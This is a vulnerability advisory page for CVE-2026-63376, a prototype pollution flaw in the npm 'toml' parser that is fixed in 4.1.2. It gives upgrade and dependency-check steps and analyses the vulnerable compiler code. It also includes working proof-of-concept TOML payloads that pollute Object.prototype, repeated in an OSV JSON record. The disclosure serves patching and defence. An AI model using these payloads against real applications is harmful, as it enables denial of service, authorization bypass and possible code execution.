CVE-2026-63376: toml-node Prototype Pollution Leads To `Object.prototype` Vulnerability

HIGH
Advisory Identifier: GHSA-v5mp-jgw5-2x6j
CVSS 8.2
CWE-1321
Published
Advisory Summary

CVE-2026-63376 is a HIGH (CVSS 8.2) prototype pollution leads to `object.prototype` vulnerability (CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')) affecting toml-node libraries in the npm ecosystem. The issue involves prototype pollution leads to `object.prototype` corruption via `__proto__` key-path desynchronization. Remediation is available by upgrading affected packages to version 4.1.2.

CVE-2026-63376 at a Glance

CVE Identifier CVE-2026-63376
GHSA Identifier GHSA-v5mp-jgw5-2x6j
Severity HIGH
CVSS v3.1 Base Score 8.2
CWE Classification CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
Affected Product toml-node
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-63376

To remediate this vulnerability, upgrade all affected toml-node dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

toml fixed: 4.1.2
npm install toml@4.1.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls toml

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-63376, inspect your project dependencies using npm:

npm ls toml

Analyze the terminal output to locate any version of toml-node in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.1.2), your application is affected.

Note: The npm ls toml command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution'), where the product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype. In toml-node, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `toml.parse()` writes attacker-controlled keys onto `Object.prototype`. The compiler protects the tables it builds by creating them with `Object.create(null)`, which neutralizes a direct `[__proto__]` table. An attacker bypasses that protection by routing a table path *through a scalar value* and into the real prototype chain: a path such as `a.b.y.__proto__.__proto__`, where `a.b.y` holds a number, resolves to `Object.prototype` and every subsequent key/value writes onto it. The bypass succeeds because the compiler's duplicate-key guards track paths with keys that do not match the keys used during traversal. The tracking strings and the traversal strings **desynchronize**, so the guard that should reject descending through an existing scalar never fires. ### Steps to reproduce 1. Install the latest version and run the comma-desynchronization payload. ```bash npm install toml@4.1.1 ``` ```js const toml = require("toml"); delete Object.prototype.polluted; toml.parse(` [a.b] y = 1 [a.b.y.__proto__.__proto__] polluted = "yes" `); console.log(({}).polluted); // -> "yes" ``` 2. Observe that a freshly created object inherits the injected key, confirming `Object.prototype` was modified: ``` yes ``` 3. Confirm the prefix-clear variant reaches the same result: ```js toml.parse(` aa = 1 [[a]] [aa.__proto__.__proto__] polluted = "yes" `); console.log(({}).polluted); // -> "yes" ``` A nested gadget object is also injectable, not only scalar keys: ```js toml.parse(` [a.b] y = 1 [a.b.y.__proto__.__proto__.code] val = "arbitrary" `); console.log(({}).code.val); // -> "arbitrary" ``` ### Technical details The compiler builds the result tree in `lib/compiler.js`. Tables are created with a null prototype, so a direct `[__proto__]` table only sets an ordinary own property and does not pollute: ```js var data = Object.create(null); // line 7 — root has no prototype // ... target[k] = Object.create(null); // line 64 — intermediate tables, no prototype ``` The defect is in `deepRef`, which resolves a table path by walking each key segment of the live object graph: ```js function deepRef(start, keys, value, off) { // lib/compiler.js:183 var traversedPath = ""; var ctx = start; for (var i = 0; i < keys.length; i++) { var key = keys[i]; traversedPath = traversedPath ? traversedPath + "." + key : key; if (typeof ctx[key] === "undefined") { if (i === keys.length - 1) { ctx[key] = value; } else { ctx[key] = Object.create(null); } } else if (i !== keys.length - 1 && valueAssignments.has(traversedPath)) { genError("Cannot redefine existing key '" + traversedPath + "'.", off); // line 197 — the guard } ctx = ctx[key]; // line 200 — follows __proto__ into the prototype chain if (ctx instanceof Array && ctx.length && i < keys.length - 1) { ctx = ctx[ctx.length - 1]; } } return ctx; } ``` Two problems combine: **1. `deepRef` treats `__proto__` (and `constructor`, `prototype`) as ordinary traversable keys.** Line 200 executes `ctx = ctx[key]` for every segment with no reserved-key check. When traversal reaches a scalar value — for example the number `1` stored at `a.b.y` — the next two `__proto__` segments evaluate to `Number.prototype` and then `Object.prototype`. The null-prototype hardening covers only the *container tables* the compiler creates; it does not cover the *values* stored in them, and those values carry normal prototypes. **2. The guard on line 197 is defeated by a path-format desynchronization.** `currentPath` is assigned two incompatible types: `setPath` stores an **array** (`currentPath = path`, line 151) while `addTableArray` stores a **string** (`currentPath = quotedPath`, line 172). When `assign` later builds the path of a value, it concatenates that array with a string: ```js var fullPath = currentPath ? currentPath + "." + keys.join(".") : keys.join("."); // line 77 valueAssignments.add(fullPath); // line 86 ``` For the table `[a.b]`, `currentPath` is the array `["a","b"]`, so `currentPath + "."` coerces it via `Array.toString()` to the **comma-joined** string `"a,b"`. The value `y = 1` is therefore recorded as `"a,b.y"`. But `deepRef`, walking the path `a.b.y.__proto__.__proto__`, builds `traversedPath` with dots and checks `valueAssignments.has("a.b.y")`. The set contains `"a,b.y"`, not `"a.b.y"`, so the lookup misses and the guard never raises "Cannot redefine existing key". Traversal proceeds through the scalar `1` into `Object.prototype`. Instrumenting the tracking sets after parsing the payload confirms the mismatch: ``` assignedPaths : [ "a.b", "a,b.y", "a.b.y.__proto__.__proto__", ... ] valueAssignments : [ "a,b.y", ... ] deepRef checks valueAssignments.has("a.b.y") -> false (recorded as "a,b.y") ``` A second route reaches the same state without the comma trick. A table array `[[a]]` triggers the prefix-clearing loop in `addTableArray`, which deletes tracking entries by string prefix and wipes the guard state before the `__proto__` descent: ```js assignedPaths.forEach(function(p) { // lines 164-166 if (p.indexOf(quotedPath) === 0) assignedPaths.delete(p); }); valueAssignments.forEach(function(p) { // lines 167-169 if (p.indexOf(quotedPath) === 0) valueAssignments.delete(p); }); ``` ### Impact - Any application that calls `toml.parse()` on a TOML document an attacker can influence — uploaded configuration, project manifests, multi-tenant settings, package metadata — allows the attacker to write arbitrary properties onto `Object.prototype`. - Injected properties become visible on every object in the process. Depending on application gadgets, this enables denial of service (corrupting properties the runtime relies on), logic and authorization bypass (overriding flags read from plain objects), and, with a suitable sink, remote code execution. - The blast radius is the whole Node.js process, not just the parsed result object. - `toml` reports roughly 14.8 million weekly downloads and around 1,340 dependents, so the transitive exposure is large. Dependents that pass `toml` as the engine to front-matter or configuration loaders inherit the issue. --- Credit: Duy Bui / @[calif.io](http://calif.io/)

CVE-2026-63376 Affected toml-node Versions

1 component(s)
Fixed Versions:
4.1.2
Product / Package Ecosystem Affected Versions Fixed Version
toml
npm
< 4.1.2
4.1.2

References

Frequently Asked Questions

What is CVE-2026-63376?
CVE-2026-63376 is a security vulnerability in toml-node involving Prototype Pollution Leads to `Object.prototype` Corruption via `__proto__` Key-Path Desynchronization under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').
Which toml-node versions are affected?
Affected versions include releases prior to 4.1.2 across affected packages: toml.
What version fixes CVE-2026-63376?
Upgrading to 4.1.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is toml affected?
Yes, toml is affected in releases prior to 4.1.2. Upgrade your dependency to 4.1.2 or later.
What is the CVSS score of CVE-2026-63376?
CVE-2026-63376 has a CVSS v3.1 base score of 8.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L.
What CWE is associated with CVE-2026-63376?
CVE-2026-63376 is classified under CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') (The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.).
How can I check npm dependencies for CVE-2026-63376?
Run the dependency tree command: 'npm ls toml'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v5mp-jgw5-2x6j",
  "modified" : "2026-09-03T20:55:32Z",
  "published" : "2026-09-03T20:55:32Z",
  "aliases" : [ "CVE-2026-63376" ],
  "summary" : "toml-node: Prototype Pollution Leads to `Object.prototype` Corruption via `__proto__` Key-Path Desynchronization",
  "details" : "### Summary\n\n`toml.parse()` writes attacker-controlled keys onto `Object.prototype`. The compiler protects the tables it builds by creating them with `Object.create(null)`, which neutralizes a direct `[__proto__]` table. An attacker bypasses that protection by routing a table path *through a scalar value* and into the real prototype chain: a path such as `a.b.y.__proto__.__proto__`, where `a.b.y` holds a number, resolves to `Object.prototype` and every subsequent key/value writes onto it.\n\nThe bypass succeeds because the compiler's duplicate-key guards track paths with keys that do not match the keys used during traversal. The tracking strings and the traversal strings **desynchronize**, so the guard that should reject descending through an existing scalar never fires.\n\n### Steps to reproduce\n\n1. Install the latest version and run the comma-desynchronization payload.\n\n   ```bash\n   npm install toml@4.1.1\n   ```\n\n   ```js\n   const toml = require(\"toml\");\n   delete Object.prototype.polluted;\n\n   toml.parse(`\n   [a.b]\n   y = 1\n   [a.b.y.__proto__.__proto__]\n   polluted = \"yes\"\n   `);\n\n   console.log(({}).polluted);   // -> \"yes\"\n   ```\n\n2. Observe that a freshly created object inherits the injected key, confirming `Object.prototype` was modified:\n\n   ```\n   yes\n   ```\n\n3. Confirm the prefix-clear variant reaches the same result:\n\n   ```js\n   toml.parse(`\n   aa = 1\n   [[a]]\n   [aa.__proto__.__proto__]\n   polluted = \"yes\"\n   `);\n   console.log(({}).polluted);   // -> \"yes\"\n   ```\n\nA nested gadget object is also injectable, not only scalar keys:\n\n```js\ntoml.parse(`\n[a.b]\ny = 1\n[a.b.y.__proto__.__proto__.code]\nval = \"arbitrary\"\n`);\nconsole.log(({}).code.val);     // -> \"arbitrary\"\n```\n\n### Technical details\n\nThe compiler builds the result tree in `lib/compiler.js`. Tables are created with a null prototype, so a direct `[__proto__]` table only sets an ordinary own property and does not pollute:\n\n```js\nvar data = Object.create(null);   // line 7 — root has no prototype\n// ...\ntarget[k] = Object.create(null);  // line 64 — intermediate tables, no prototype\n```\n\nThe defect is in `deepRef`, which resolves a table path by walking each key segment of the live object graph:\n\n```js\nfunction deepRef(start, keys, value, off) {        // lib/compiler.js:183\n  var traversedPath = \"\";\n  var ctx = start;\n  for (var i = 0; i < keys.length; i++) {\n    var key = keys[i];\n    traversedPath = traversedPath ? traversedPath + \".\" + key : key;\n    if (typeof ctx[key] === \"undefined\") {\n      if (i === keys.length - 1) { ctx[key] = value; }\n      else { ctx[key] = Object.create(null); }\n    } else if (i !== keys.length - 1 && valueAssignments.has(traversedPath)) {\n      genError(\"Cannot redefine existing key '\" + traversedPath + \"'.\", off);  // line 197 — the guard\n    }\n    ctx = ctx[key];                                // line 200 — follows __proto__ into the prototype chain\n    if (ctx instanceof Array && ctx.length && i < keys.length - 1) {\n      ctx = ctx[ctx.length - 1];\n    }\n  }\n  return ctx;\n}\n```\n\nTwo problems combine:\n\n**1. `deepRef` treats `__proto__` (and `constructor`, `prototype`) as ordinary traversable keys.** Line 200 executes `ctx = ctx[key]` for every segment with no reserved-key check. When traversal reaches a scalar value — for example the number `1` stored at `a.b.y` — the next two `__proto__` segments evaluate to `Number.prototype` and then `Object.prototype`. The null-prototype hardening covers only the *container tables* the compiler creates; it does not cover the *values* stored in them, and those values carry normal prototypes.\n\n**2. The guard on line 197 is defeated by a path-format desynchronization.** `currentPath` is assigned two incompatible types: `setPath` stores an **array** (`currentPath = path`, line 151) while `addTableArray` stores a **string** (`currentPath = quotedPath`, line 172). When `assign` later builds the path of a value, it concatenates that array with a string:\n\n```js\nvar fullPath = currentPath ? currentPath + \".\" + keys.join(\".\") : keys.join(\".\"); // line 77\nvalueAssignments.add(fullPath);                                                   // line 86\n```\n\nFor the table `[a.b]`, `currentPath` is the array `[\"a\",\"b\"]`, so `currentPath + \".\"` coerces it via `Array.toString()` to the **comma-joined** string `\"a,b\"`. The value `y = 1` is therefore recorded as `\"a,b.y\"`. But `deepRef`, walking the path `a.b.y.__proto__.__proto__`, builds `traversedPath` with dots and checks `valueAssignments.has(\"a.b.y\")`. The set contains `\"a,b.y\"`, not `\"a.b.y\"`, so the lookup misses and the guard never raises \"Cannot redefine existing key\". Traversal proceeds through the scalar `1` into `Object.prototype`.\n\nInstrumenting the tracking sets after parsing the payload confirms the mismatch:\n\n```\nassignedPaths    : [ \"a.b\", \"a,b.y\", \"a.b.y.__proto__.__proto__\", ... ]\nvalueAssignments : [ \"a,b.y\", ... ]\ndeepRef checks valueAssignments.has(\"a.b.y\")  ->  false   (recorded as \"a,b.y\")\n```\n\nA second route reaches the same state without the comma trick. A table array `[[a]]` triggers the prefix-clearing loop in `addTableArray`, which deletes tracking entries by string prefix and wipes the guard state before the `__proto__` descent:\n\n```js\nassignedPaths.forEach(function(p) {                 // lines 164-166\n  if (p.indexOf(quotedPath) === 0) assignedPaths.delete(p);\n});\nvalueAssignments.forEach(function(p) {              // lines 167-169\n  if (p.indexOf(quotedPath) === 0) valueAssignments.delete(p);\n});\n```\n\n### Impact\n\n- Any application that calls `toml.parse()` on a TOML document an attacker can influence — uploaded configuration, project manifests, multi-tenant settings, package metadata — allows the attacker to write arbitrary properties onto `Object.prototype`.\n- Injected properties become visible on every object in the process. Depending on application gadgets, this enables denial of service (corrupting properties the runtime relies on), logic and authorization bypass (overriding flags read from plain objects), and, with a suitable sink, remote code execution.\n- The blast radius is the whole Node.js process, not just the parsed result object.\n- `toml` reports roughly 14.8 million weekly downloads and around 1,340 dependents, so the transitive exposure is large. Dependents that pass `toml` as the engine to front-matter or configuration loaders inherit the issue.\n\n---\n\nCredit: Duy Bui / @[calif.io](http://calif.io/)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "toml"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.1.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/BinaryMuse/toml-node/security/advisories/GHSA-v5mp-jgw5-2x6j"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/BinaryMuse/toml-node/commit/def6ab5ea99038c0dd482cd6af1745a6af8b4c44"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/BinaryMuse/toml-node/commit/dfaff662276adc38a2e03df3139f7119b0185463"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/BinaryMuse/toml-node"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1321" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-03T20:55:32Z",
    "nvd_published_at" : null
  }
}